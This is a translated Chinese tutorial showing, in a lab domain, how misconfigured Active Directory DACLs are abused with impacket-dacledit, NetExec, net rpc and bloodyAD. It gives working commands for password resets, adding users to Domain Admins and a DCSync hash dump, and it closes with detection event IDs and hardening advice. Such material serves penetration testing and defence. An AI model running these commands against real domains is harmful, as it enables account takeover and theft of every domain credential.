Impacket-dacledit指南:AD权限配置错误导致的五大权限提升路径

导语:DACL(自主访问控制列表)是Microsoft Active Directory中最强大、也最容易被误解的组件之一。每个AD对象(用户、组、OU甚至域根)都携带包含DACL的安全描述符。当管理员错误配置这些ACE时,攻击者可以滥用它们提升权限、重置特权账户密码、复制域凭据,最终拿下整个域——全程不需要任何传统漏洞利用。


DACL基础:理解Active Directory中的权限机制

什么是DACL?

DACL是每个AD对象安全描述符的组成部分,包含零个或多个ACE,每个ACE指定:

  • 安全主体(用户、组、计算机),由SID标识
  • 访问掩码,定义允许的操作(如ReadProperty、ControlAccess、WriteDACL、GenericAll)
  • ACE类型:ACCESS_ALLOWED或ACCESS_DENY
  • 可选的对象类型GUID,将权限缩小到特定扩展权限或属性

为什么DACL对攻击者至关重要

与传统漏洞不同,DACL滥用利用的是合法的Windows功能。如果攻击者可以写入对象的DACL,他可以静默地为自己授予任何权限——而不触发大多数安全工具的告警。危险的权限包括:

  • ForceChangePassword(User-Force-Change-Password GUID)
  • WriteDACL / FullControl(对组的完全控制)
  • WriteMembers(组 membership的写入权限)
  • DCSync权限(域根上的DS-Replication-Get-Changes + DS-Replication-Get-Changes-All)

技术一:ForceChangePassword(用户→用户权限提升)

概述

User-Force-Change-Password扩展权限(GUID: 00299570-246d-11d0-a768-00aa006e0529)允许安全主体在不知道原密码的情况下更改另一用户的密码。这种错误配置在AD环境中很常见——helpdesk或支持账户被授予密码重置权限,但范围划得过大。

步骤1:授予jerry对tom的ForceChangePassword权限

使用管理员凭据,将ForceChangePassword权限写入用户对象CN=tom,CN=Users,DC=ignite,DC=local的DACL,授予主体jerry:

impacket-dacledit -action write -rights ResetPassword -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
ForceChangePassword权限写入

步骤2:验证ACE已写入

该命令显示用户jerry在ignite.local域中对对象tom拥有特定的委托权限:

impacket-dacledit -principal jerry -target 'tom' -dc-ip 192.168.1.11 ignite.local/jerry:Password@1
验证jerry的权限

步骤3:更改tom的密码并验证

NetExec的change-password模块执行密码重置——不需要知道tom的当前密码:

nxc smb 192.168.1.11 -u jerry -p Password@1 -M change-password -o USER=tom NEWPASS=Admin@123

nxc smb 192.168.1.11 -u jerry -p Admin@123
密码重置成功

步骤4:恢复DACL

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-141554.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

技术二:Domain Admins组的FullControl→组成员身份

概述

如果攻击者获得组对象的FullControl(等价于GenericAll),他可以直接操作组成员、更改组的DACL,或对该对象执行任何其他操作。获得Domain Admins组的FullControl相当于通往域控的路径。

步骤1:授予raaz对Domain Admins的FullControl

impacket-dacledit -action write -rights FullControl -principal raaz -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
FullControl权限授予

步骤2:验证ACE

以raaz身份读取Domain Admins组DACL,确认FullControl(GenericAll等价)通过大量ACCESS_ALLOWED_OBJECT_ACE条目存在:

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/raaz:Password@1' -dc-ip 192.168.1.11
验证FullControl权限

步骤3:添加raaz到Domain Admins

拥有FullControl后,raaz可以通过net rpc直接将自己添加到组:

net rpc group addmem "Domain Admins" "raaz" -U ignite.local/raaz%'Password@1' -S 192.168.1.11

确认组成员身份:

net rpc group members "Domain Admins" -U "ignite.local/raaz%Password@1" -S 192.168.1.11
组成员验证

步骤4:恢复

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-142121.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

技术三:通过域根DACL滥用实现DCSync

概述

DCSync是一种滥用MS-DRSR(目录复制服务远程协议)的技术,向域控制器请求凭据数据复制——就像另一台域控制器请求复制一样。域根上需要两个扩展权限:

  • DS-Replication-Get-Changes(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

将这两个权限授予非特权用户,允许其dump所有域凭据包括krbtgt哈希——从而实现黄金票据攻击。

步骤1:授予kinjal DCSync权限

本实验演示了两种方法。第一种使用命名备份文件便于清晰追踪:

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11
DCSync权限授予

步骤2:验证DCSync ACE

回读kinjal在域根上的ACE,确认两个复制权限都存在:

impacket-dacledit -principal kinjal -target-dn "DC=ignite,DC=local" -dc-ip 192.168.1.11 ignite.local/kinjal:Password@1

步骤3:执行DCSync——转储所有域哈希

在复制权限就位后,impacket-secretsdump通过DRSUAPI执行完整凭据dump(注意:DCERPC RemoteOperations失败,回退到DRSUAPI——这是正常的):

impacket-secretsdump ignite.local/kinjal:Password@1@192.168.1.11
DCSync执行结果

步骤4:恢复DCSync权限

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

技术四:WriteMembers DACL滥用

概述

WriteMembers权限允许ankur账户向Domain Admins组添加或删除成员,而不需要完整的域管理员权限。这代表了一种持久化后门——即使ankur的组成员身份被撤销,底层DACL权限仍然存在,可重新提权。

步骤1:授予ankur对Domain Admins的WriteMembers

步骤2:验证WriteMember ACE

以ankur身份读取DACL,显示多个READ ACE(继承的基线)和新授予的WriteMember访问:

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/ankur:Password@1' -dc-ip 192.168.1.11
WriteMember权限验证

步骤3:通过bloodyAD将ankur添加到Domain Admins

bloodyAD --host "192.168.1.11" -d "ignite.local" -u "ankur" -p "Password@1" add groupMember "Domain Admins" "ankur"

技术五:基于GUID的ACE写入

概述

不使用-rights关键字简写,impacket-dacledit支持使用-rights-guid通过原始扩展权限GUID写入ACE。这对于没有命名简写的权限或脚本化精确ACE添加很有用。

示例:通过GUID写入ForceChangePassword

直接指定User-Force-Change-Password GUID(00299570-246d-11d0-a768-00aa006e0529):

impacket-dacledit -action write -rights-guid 00299570-246d-11d0-a768-00aa006e0529 -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11
GUID ACE写入结果

使用-file选项(备份与恢复)

-file用于保存和恢复Active Directory权限,是安全ACL修改和恢复的关键选项:

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11 -file dcsync_backup.bak

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Active Directory DACL权限——GUID速查表

权限名称GUID描述
ForceChangePassword00299570-246d-11d0-a768-00aa006e0529无需原密码重置用户密码
DS-Replication-Get-Changes1131f6aa-9c07-11d1-f79f-00c04fc2dcd2复制域凭据变更
DS-Replication-Get-Changes-All1131f6ad-9c07-11d1-f79f-00c04fc2dcd2完整域复制权限
WriteDACL拒绝此操作修改对象DACL
FullControl/GenericAll所有权限完全控制对象

检测与防御建议

检测机会

Windows事件ID 4662——对象被访问:在AD对象上读取DACL时记录(需要在目标OU/对象上启用审核)。

Windows事件ID 4670——对象的权限被更改:在DACL被修改时触发。对敏感对象(Domain Admins组、域根、特权用户对象)的更改发出告警。

Windows事件ID 4728/4732/4756——成员添加到安全启用组:在组成员更改时触发。与非常规管理组成员的账户关联。

Windows事件ID 4769且SPN为复制SPN:DCSync为E3514235-4B06-11D1-AB04-00C04FC2DCD2 SPN生成Kerberos服务票请求——对来自非DC IP的这些请求发出告警。

LDAP监控:关注对nTSecurityDescriptor属性的大量LDAP查询,来自非管理账户的异常查询行为。

防御建议

  • 每季度对敏感AD对象上的所有DACL分配进行审计。首先使用BloodHound、PingCastle或Semperis DSP工具枚举攻击路径。
  • 遵循最小权限原则——标准用户不应在高价值组上拥有WriteDACL、GenericAll或WriteMembers权限。
  • 启用DS访问的高级审计策略(审核目录服务更改)。将事件4670接入SIEM并设置高优先级告警。
  • 分层管理模型——管理密码的helpdesk账户绝不应在Tier 0(域控制器/域根)对象上拥有权限。
  • 部署Microsoft Defender for Identity(MDI)或同类产品——它检测DCSync尝试、可疑DACL修改和横向移动模式。
  • 定期轮换krbtgt密码(执行两次,间隔10小时),失效所有现有黄金票据。
  • 在网络和端点层面监控impacket、bloodyAD和dacledit工具特征(来自Linux主机的445端口NTLM、非DC来源的DRSUAPI流量)。

结论

DACL滥用代表了最具影响力、也最常被忽视的Active Directory攻击类别之一。与漏洞利用不同,这些攻击利用的是内置的Windows权限机制。因此,它们产生的噪音痕迹很少,往往绕过传统安全控制。

ignite.local实验室证明,一个拥有单个错误配置ACE的低权限用户可以在几分钟内提升到Domain Admin并获取域中每个凭据。完整攻击链——从初始ForceChangePassword到完整DCSync——不需要任何漏洞利用、恶意软件或复杂的横向移动。

好消息是:这些攻击路径完全可以通过正确的ACL卫生、分层管理和健壮监控来预防。使用BloodHound进行定期DACL审计,结合SIEM对事件ID 4670和DCSync指标的检测,可以显著降低攻击面。

来源:本文翻译自Hacking Articles,原文链接:https://www.hackingarticles.in/impacket-for-pentester-dacledit/

版权声明:本文由华盟网原创发布,保留所有权利。

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容